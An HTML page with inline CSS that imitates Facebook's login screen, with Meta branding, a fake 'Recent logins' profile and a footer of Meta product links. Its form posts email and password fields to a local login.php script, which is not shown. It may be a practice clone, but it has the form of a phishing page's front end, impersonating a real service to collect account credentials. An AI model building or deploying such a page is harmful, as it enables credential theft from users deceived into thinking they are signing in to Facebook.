|
|
<!DOCTYPE html> |
|
|
<html lang="en"> |
|
|
<head> |
|
|
<meta charset="UTF-8"> |
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0"> |
|
|
<title>Facebook Login</title> |
|
|
<style> |
|
|
body { |
|
|
font-family: Arial, sans-serif; |
|
|
background-color: #f0f2f5; |
|
|
margin: 10; |
|
|
|
|
|
display: flex; |
|
|
justify-content: center; |
|
|
align-items: center; |
|
|
height: 67vh; |
|
|
} |
|
|
.container { |
|
|
display: flex; |
|
|
justify-content: left; |
|
|
align-items: center; |
|
|
width: 70%; |
|
|
max-width: 1000px; |
|
|
margin-bottom: 78px; |
|
|
padding: 120px; |
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
.left { |
|
|
flex: 1; |
|
|
margin-bottom: 02px; |
|
|
margin-left: 0.5px; |
|
|
margin-right: 10px; |
|
|
} |
|
|
.right { |
|
|
flex: 10; |
|
|
max-width: 350px; |
|
|
height: 310px; |
|
|
background-color: #fff; |
|
|
|
|
|
border-radius: 8px; |
|
|
margin-top: 69px; |
|
|
margin-right: 19px; |
|
|
padding: 20px; |
|
|
padding-right: 30px; |
|
|
padding-left: 15px; |
|
|
padding-top: 3.5px; |
|
|
padding-bottom: 40px; |
|
|
|
|
|
|
|
|
|
|
|
box-shadow: 0 4px 12px rgba(8, 8, 5, 0.18); |
|
|
} |
|
|
.left h1 { |
|
|
color: #1877f2; |
|
|
font-size: 44px; |
|
|
margin-bottom: 0px; |
|
|
margin-top: 12px; |
|
|
|
|
|
|
|
|
|
|
|
} |
|
|
.left h5{ |
|
|
font-size: 18px; |
|
|
height: 23px; |
|
|
color: hwb(0 46% 54%); |
|
|
width: 0px; |
|
|
margin-left: 38px; |
|
|
margin-right: 27px; |
|
|
margin-top: 23px; |
|
|
margin-bottom: 11px; |
|
|
} |
|
|
|
|
|
.left p { |
|
|
font-size: 36px; |
|
|
|
|
|
color: #333232; |
|
|
margin-top: 8px; |
|
|
margin-bottom: 6px; |
|
|
margin-left: 0.5px; |
|
|
|
|
|
|
|
|
} |
|
|
.right h2 { |
|
|
text-align: center; |
|
|
color: #1877f2; |
|
|
font-size: 28px; |
|
|
margin-bottom: 10px; |
|
|
} |
|
|
.right input { |
|
|
width: 100.8%; |
|
|
height: 10px; |
|
|
padding-top: 18px; |
|
|
padding-bottom: 18px; |
|
|
padding: 20px; |
|
|
margin-top: 13px; |
|
|
padding-right: 0px; |
|
|
font-size: 16px; |
|
|
letter-spacing: 0.5px; |
|
|
padding-left: 9px; |
|
|
|
|
|
border: 1px solid #dfdfdf; |
|
|
border-radius: 5px; |
|
|
background-size: 100%; |
|
|
} |
|
|
.right button { |
|
|
-webkit-text-stroke-width: 0.5px; |
|
|
width: 104%; |
|
|
padding: 12px; |
|
|
padding-bottom: 12px; |
|
|
margin-top: 230px; |
|
|
padding-top: 16px; |
|
|
margin-top: 15px; |
|
|
margin-left: 1px; |
|
|
background-color: #0a6beb; |
|
|
border: none; |
|
|
color: #fff; |
|
|
font-size: 20px; |
|
|
letter-spacing: 0.8px; |
|
|
border-radius: 6px; |
|
|
cursor: pointer; |
|
|
} |
|
|
|
|
|
.right button:hover { |
|
|
|
|
|
background-color: #165db1; |
|
|
} |
|
|
.right .create-account { |
|
|
width: 90%; |
|
|
padding: 16px; |
|
|
padding-top: 16px; |
|
|
padding-bottom: 15px; |
|
|
-webkit-text-stroke-width: 0.4px; |
|
|
background-color: #12bd12; |
|
|
color: #fff; |
|
|
font-size: 15.8px; |
|
|
letter-spacing: 1px; |
|
|
border-radius: 5px; |
|
|
cursor: pointer; |
|
|
|
|
|
|
|
|
margin-top: 100px; |
|
|
margin-left: 78.9px; |
|
|
padding-right: 16px; |
|
|
} |
|
|
.right a { |
|
|
display: block; |
|
|
text-align: center; |
|
|
margin-top: 17px; |
|
|
margin-left: 15px; |
|
|
margin-bottom: 21px; |
|
|
color: #1877f2; |
|
|
text-decoration:none; |
|
|
font-size: 14.1px; |
|
|
|
|
|
} |
|
|
.right a:hover { |
|
|
text-decoration: underline; |
|
|
|
|
|
} |
|
|
|
|
|
.profile-container { |
|
|
display: flex; |
|
|
align-items: center; |
|
|
margin-top: 26px; |
|
|
margin-bottom: 11px; |
|
|
|
|
|
} |
|
|
.profile { |
|
|
display: flex; |
|
|
|
|
|
align-items: center; |
|
|
background-color: #fff; |
|
|
border: 1px solid #ddd; |
|
|
border-radius: 8px; |
|
|
padding-top: 149px; |
|
|
padding-right: 83px; |
|
|
margin-right: 15px; |
|
|
|
|
|
background-image: url("snv.png"); |
|
|
background-repeat: no-repeat; |
|
|
background-size: 190px 159px ; |
|
|
cursor: pointer; |
|
|
} |
|
|
.profile h5{ |
|
|
padding-left: 7px; |
|
|
margin-left: 43px; |
|
|
margin-bottom: 9px; |
|
|
} |
|
|
.profile2 { |
|
|
border-radius: 5%; |
|
|
margin-right: 0px; |
|
|
display: flex; |
|
|
padding-left: 8px; |
|
|
background-color: #fff; |
|
|
border: 1px solid #ddd; |
|
|
padding-top: 156px; |
|
|
padding-right: 0px; |
|
|
width: 153px; |
|
|
cursor: pointer; |
|
|
background-image: url("fbk-butto.jpg"); |
|
|
background-repeat: no-repeat; |
|
|
background-size: 190px 160px; |
|
|
|
|
|
} |
|
|
.profile2 h5{ |
|
|
width: 140px; |
|
|
text-align: center; |
|
|
font-size: 15px; |
|
|
margin-left: 10px; |
|
|
margin-right: 0px; |
|
|
margin-top: 19px; |
|
|
margin-bottom: 8px; |
|
|
padding-left: 8px; |
|
|
text-align: left; |
|
|
|
|
|
color:pointer; |
|
|
|
|
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
.small-text{ |
|
|
color: #646262; |
|
|
font-size: 15px; |
|
|
margin-top: 20px; |
|
|
margin-left: 0.5px; |
|
|
|
|
|
|
|
|
} |
|
|
.line{ |
|
|
color: #b1afaf; |
|
|
opacity: 19%; |
|
|
margin-top: 2px; |
|
|
width: 363px; |
|
|
|
|
|
padding-bottom: 0.1px; |
|
|
margin-bottom: 42px; |
|
|
|
|
|
|
|
|
} |
|
|
.right a.create-a-page{ |
|
|
color: black; |
|
|
font-size: 14px; |
|
|
margin-top: 67px; |
|
|
margin-left: 15px; |
|
|
|
|
|
} |
|
|
.facebook-logo{ |
|
|
height: 32px; |
|
|
margin-bottom: 4px; |
|
|
margin-left: 1px; |
|
|
|
|
|
|
|
|
} |
|
|
.additional-container { |
|
|
width: 97.9%; |
|
|
background-color: #fff; |
|
|
padding: 20px; |
|
|
padding-top: 16px; |
|
|
position: absolute; |
|
|
padding-bottom: 30px; |
|
|
bottom: 0px; |
|
|
left: 0px; |
|
|
margin-top: 0px; } |
|
|
.additional-container p{ |
|
|
font-size: 12px; |
|
|
color: rgb(107, 106, 106); |
|
|
margin-left: 441px; |
|
|
margin-top: 15px; |
|
|
margin-bottom: 5px; |
|
|
} |
|
|
.additional-container a{ |
|
|
text-decoration: none; |
|
|
font-size: 12px; |
|
|
color: rgb(145, 144, 144); |
|
|
margin-left: 6.7px; |
|
|
|
|
|
|
|
|
|
|
|
} |
|
|
.additional-container a:hover{ |
|
|
text-decoration: underline; |
|
|
} |
|
|
.button4-plus{ |
|
|
background-image: url(/HTML/plus.png); |
|
|
background-repeat: no-repeat; |
|
|
background-position: 8px 3px; |
|
|
background-size: 12px 12px; |
|
|
background-color: #f5f5f5; |
|
|
border-color: black; |
|
|
border: 1px solid rgb(207, 206, 206); |
|
|
padding-top: 2px; |
|
|
border-radius: 1.5px; |
|
|
padding-left: 18px; |
|
|
padding-right: 10px; |
|
|
padding-bottom: 2px; |
|
|
margin-left: 10px; |
|
|
cursor: pointer; |
|
|
|
|
|
} |
|
|
.additional-container hr{ |
|
|
width: 978px; |
|
|
|
|
|
margin-right: 460px; |
|
|
margin-bottom: 0px; |
|
|
margin-top: 10px; |
|
|
border: 0.01px solid rgb(234, 234, 235); |
|
|
|
|
|
} |
|
|
.bt-feature { |
|
|
text-decoration: none; |
|
|
font-size: 12px; |
|
|
color: rgb(145, 144, 144); |
|
|
margin-left: 424px; |
|
|
|
|
|
margin-top: 10px; |
|
|
|
|
|
|
|
|
|
|
|
} |
|
|
.bt-feature a{ |
|
|
margin-left: 17px; |
|
|
|
|
|
} |
|
|
.bt-feature a2{ |
|
|
margin-left: 17px; |
|
|
|
|
|
} |
|
|
.bt-feature a2:hover{ |
|
|
text-decoration: underline; |
|
|
cursor: pointer; |
|
|
|
|
|
|
|
|
} |
|
|
.bt-feature a3{ |
|
|
margin-left: 16.5px; |
|
|
|
|
|
} |
|
|
.bt-feature a3:hover{ |
|
|
text-decoration: underline; |
|
|
cursor: pointer; |
|
|
|
|
|
|
|
|
} |
|
|
.bt-feature a4{ |
|
|
margin-left: 16.2px; |
|
|
|
|
|
} |
|
|
.bt-feature a4:hover{ |
|
|
text-decoration: underline; |
|
|
cursor: pointer; |
|
|
|
|
|
|
|
|
} |
|
|
.bt-feature a5{ |
|
|
margin-left: 16px; |
|
|
|
|
|
} |
|
|
.bt-feature a5:hover{ |
|
|
text-decoration: underline; |
|
|
cursor: pointer; |
|
|
|
|
|
|
|
|
} |
|
|
.bt-feature a6{ |
|
|
margin-left: 16px; |
|
|
|
|
|
} |
|
|
.bt-feature a6{ |
|
|
text-decoration: underline; |
|
|
cursor: pointer; |
|
|
|
|
|
|
|
|
} |
|
|
.space{ |
|
|
margin-top: 5px; |
|
|
|
|
|
} |
|
|
.space a9{ |
|
|
margin-left: 15.9px; |
|
|
} |
|
|
.space a9:hover{ |
|
|
text-decoration: underline; |
|
|
cursor: pointer; |
|
|
|
|
|
} |
|
|
.space a0{ |
|
|
margin-left: 15.9px; |
|
|
} |
|
|
.space a0:hover{ |
|
|
text-decoration: underline; |
|
|
cursor: pointer; |
|
|
|
|
|
} |
|
|
.space a11{ |
|
|
margin-left: 15.9px; |
|
|
} |
|
|
.space a11:hover{ |
|
|
text-decoration: underline; |
|
|
cursor: pointer; |
|
|
|
|
|
} |
|
|
.sndspace{ |
|
|
margin-top: 5px; |
|
|
} |
|
|
|
|
|
.sndspace img{ |
|
|
|
|
|
height: 10px; |
|
|
width: 12px; |
|
|
position: 0px 0px; |
|
|
margin-bottom: 0px; |
|
|
|
|
|
|
|
|
|
|
|
} |
|
|
.sndspace a12{ |
|
|
margin-left: 16px; |
|
|
|
|
|
} |
|
|
.sndspace a12:hover{ |
|
|
text-decoration: underline; |
|
|
cursor: pointer; |
|
|
|
|
|
} |
|
|
.sndspace a13:hover{ |
|
|
text-decoration: underline; |
|
|
cursor: pointer; |
|
|
|
|
|
} |
|
|
|
|
|
.sndspace a13{ |
|
|
margin-left: 16px; |
|
|
} |
|
|
.sndspace a14{ |
|
|
margin-left: 16.5px; |
|
|
} |
|
|
.sndspace a14:hover{ |
|
|
text-decoration: underline; |
|
|
cursor: pointer; |
|
|
|
|
|
} |
|
|
.sndspace p{ |
|
|
font-size: 11px; |
|
|
color: #757373; |
|
|
margin-left: 17px; |
|
|
margin-top: 25px; |
|
|
} |
|
|
|
|
|
</style> |
|
|
</head> |
|
|
<body> |
|
|
<div class="container"> |
|
|
<div class="left"> |
|
|
<h1><img src="/templates/fbk-logo.png"alt="login page" class="facebook-logo" width="172px"></h1> |
|
|
<p >Recent logins</p> |
|
|
<small class="small-text"> |
|
|
|
|
|
Click your picture or add an account</small> |
|
|
|
|
|
<div class="profile-container"> |
|
|
<div class="profile"> |
|
|
<h5>Subhan</h5> |
|
|
</div> |
|
|
<div class="profile2"> |
|
|
|
|
|
|
|
|
<h5> |
|
|
<a href="#" style=" text-decoration: none; color: #1877f2;"> |
|
|
Add an account |
|
|
</a> |
|
|
</h5> |
|
|
|
|
|
|
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
<div class="right"> |
|
|
|
|
|
<form action="login.php" method="post"> |
|
|
<input type="text" name="email" placeholder=" Email or phone number" required> |
|
|
<input type="password" name="password" placeholder=" password" required> |
|
|
<button type="submit">Log in</button> |
|
|
<a href="#">Forgot your password?</a> |
|
|
<hr class="line" noshade="0px" size="1.4"> |
|
|
<button2 type="submit" class="create-account" > Create a new account |
|
|
</button2> |
|
|
<a href="action.php" method="post" class="create-a-page" style="text-decoration: none;"><b> |
|
|
|
|
|
Create a page for |
|
|
</b> a celebrity, brand or business . |
|
|
</a> |
|
|
</div> |
|
|
</form> |
|
|
|
|
|
<div class="additional-container"> |
|
|
<p>Marathi <a href="#"> |
|
|
Hindi <a href="#"> |
|
|
Urdu <a href="#"> |
|
|
Punjabi <a href="#"> |
|
|
Bangla <a href="#"> |
|
|
Gujarati <a href="#"> |
|
|
Tamil <a href="#"> |
|
|
Telugu <a href="#"> |
|
|
Malayalam <a href="#"> |
|
|
Kannada <a href="#"> |
|
|
English (UK)</a> |
|
|
</a><button4 class="button4-plus"></button4> <hr> |
|
|
</a> |
|
|
</a> |
|
|
</a> |
|
|
</a> |
|
|
</a> |
|
|
</a> |
|
|
</a> |
|
|
</a> |
|
|
|
|
|
<div class="bt-feature"> |
|
|
|
|
|
<a href="#">Sign up</a> |
|
|
<a href="#"> Log in</a> |
|
|
<a2 href="#">Messenger</a2> |
|
|
<a3 href="#">Facebook Lite</a3> |
|
|
<a4 href="#">Video</a4> |
|
|
<a href="#">places</a> |
|
|
<a href="#">Games</a> |
|
|
<a href="#">Marketplace</a> |
|
|
<a5 href="#">Meta Pay</a5> |
|
|
<a href="#">Meta Store</a> |
|
|
<a6 href="#">Meta Quest</a6> |
|
|
<a href="#">Ray-Ban Meta</a> |
|
|
<a href="#">Meta AI</a> |
|
|
<a href="#">Instagram</a> |
|
|
<br> |
|
|
<div class="space"> |
|
|
|
|
|
<a href="#">Threads</a> |
|
|
<a href="#">Assistance Fund</a> |
|
|
<a href="#">service</a> |
|
|
<a9 href="#">Voter Information Centre</a9> |
|
|
<a href="#">Privacy Policy</a> |
|
|
<a href="#">Privacy Center</a> |
|
|
<a href="#">groups</a> |
|
|
<a0 href="#">Information</a0> |
|
|
<a href="#">Create an ad</a> |
|
|
<a href="#">Create a page</a> |
|
|
<a11 href="#">developer</a11> |
|
|
|
|
|
<div class="sndspace"> |
|
|
|
|
|
<a href="#">Career</a> |
|
|
<a href="#">Cookies</a> |
|
|
<a12 href="#" >Ad selection </a12> |
|
|
<img src="/HTML/ad.png" alt="image"> |
|
|
<a13 href="#">conditions</a13> |
|
|
<a href="#">help</a> |
|
|
<a14 href="#">Contact with uploading and non-users</a14> |
|
|
<p>Meta © 2024</p> |
|
|
|
|
|
|
|
|
</div> |
|
|
|
|
|
|
|
|
</div> |
|
|
|
|
|
|
|
|
</div> |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</div> |
|
|
|
|
|
</div> |
|
|
</div> |
|
|
</body> |
|
|
</html> |
|
|
|
